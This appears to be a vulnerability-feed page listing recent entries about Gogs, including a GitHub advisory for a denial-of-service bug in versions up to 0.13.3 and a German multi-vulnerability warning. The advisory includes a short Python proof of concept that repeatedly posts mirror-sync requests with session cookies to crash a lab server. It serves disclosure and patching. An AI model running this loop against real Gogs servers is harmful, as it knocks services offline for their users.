Most recent entries from all

EUVD-2026-267581

2026-10-16T11:46:38.088772+00:00

EUVD-2026-267581

fkie_cve-2026-22592

2026-10-16T11:46:38.088818+00:00

Gogs is an open source self-hosted Git service. In version 0.13.3 and prior, an authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash. This issue has been patched in versions 0.13.4 and 0.14.0+dev.

GHSA-cr88-6mqm-4g57 — Gogs has a Denial of Service issue

2026-10-16T11:46:38.088861+00:00

Affected: Go: gogs.io/gogs

### Summary An authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash.

### Details If GetMirrorByRepoID fails, the error log dereferencing null pointer. This happens if the repository no longer exits. https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337 if `err != nil` `m` is alwasa `nil` https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278 ### PoC Spam mirror-sync on repo and delete this repo code python spam mirror-sync ```py import requests

url = "http://gogs.lan:3000/superuser/gobypass403/settings" headers = { "Cookie": "lang=en-US; i_like_gogs=fe32281ab84ae868; _csrf=UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg", }

data = { "_csrf": "UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg", "action": "mirror-sync", }

while True: print("syncing") response = requests.post(url, headers=headers, data=data) ``` ### Impact Denial of Service server crash.

WID-SEC-W-2026-0338 — Gogs: Mehrere Schwachstellen

2026-10-16T11:46:38.088946+00:00

Ein entfernter, authentisierter Angreifer kann mehrere Schwachstellen in Gogs ausnutzen, um Sicherheitsmaßnahmen zu umgehen, Cross-Site-Scripting-Angriffe durchzuführen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand zu verursachen.